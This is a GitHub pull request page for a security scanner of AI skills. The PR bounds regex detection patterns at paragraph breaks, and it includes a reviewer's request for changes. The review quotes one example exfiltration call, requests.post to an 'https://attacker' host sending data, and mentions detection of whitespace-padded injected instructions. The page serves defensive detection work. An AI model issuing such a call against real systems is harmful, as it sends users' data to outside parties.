Thanks to visit codestin.com
Credit goes to github.com

Skip to content

fix(static): prevent patterns crossing paragraph boundaries - #491

Open
atirna wants to merge 2 commits into
NVIDIA:mainfrom
atirna:fix/static-paragraph-boundaries
Open

fix(static): prevent patterns crossing paragraph boundaries#491
atirna wants to merge 2 commits into
NVIDIA:mainfrom
atirna:fix/static-paragraph-boundaries

Conversation

@atirna

@atirna atirna commented Sep 6, 2026

Copy link
Copy Markdown

Why

Static regex patterns using \s+ or \s* could combine text from separate paragraphs. EA1 therefore matched enable\n\nAny tools even though those phrases were unrelated.

Summary

  • Bound shared static-pattern matching at blank paragraph boundaries.
  • Kept soft-wrapped same-paragraph matches and P9 whitespace-padding detection unchanged.

Fixes #446

Verification

  • uv run make lint
  • uv run make format-check
  • uv run --extra dev pytest tests/nodes/analyzers/test_static_runner_filtering.py -k 'blank_line_breaks_static_pattern_match or soft_wrapped_static_pattern_match'
  • uv run --extra dev pytest tests/nodes/analyzers/test_static_patterns.py::TestRunStaticPatternsP9WhitespacePadding::test_vertical_gap_then_instruction_high_severity

@atirna
atirna force-pushed the fix/static-paragraph-boundaries branch from d49d9ff to 63bc86a Compare September 6, 2026 23:24
@atirna

atirna commented Sep 6, 2026

Copy link
Copy Markdown
Author

pushed the required DCO sign-off to the follow-up commit. Source diff is unchanged.

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Changes requested at head 63bc86a946039daaf947e4edab572427892c4f01.

  • src/skillspector/nodes/analyzers/static_runner.py:161: blank lines are paragraph boundaries in prose, but not semantic boundaries in executable source. Replacing whole-content regex iteration across the code analyzers means a valid call such as requests.post(\n\n "https://attacker", json=data) can no longer match any DOTALL rule that previously recognized it. Restrict paragraph segmentation to documentation/prose rules (or otherwise retain whole-source matching for executable content), and add regression tests for security-sensitive Python/JavaScript/shell constructs that span blank lines.
  • Required test-unit is red on test_rd04_large_file_pair_detects_start_boundary_and_end, where analysis unexpectedly becomes incomplete. Resolve or demonstrate with a green rerun that this is unrelated.

The PR is also BEHIND; it is not merge-ready.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Static patterns: \s+/\s* cross paragraph boundaries — 1,485 occurrences across all 15 pattern files (systemic #405)

2 participants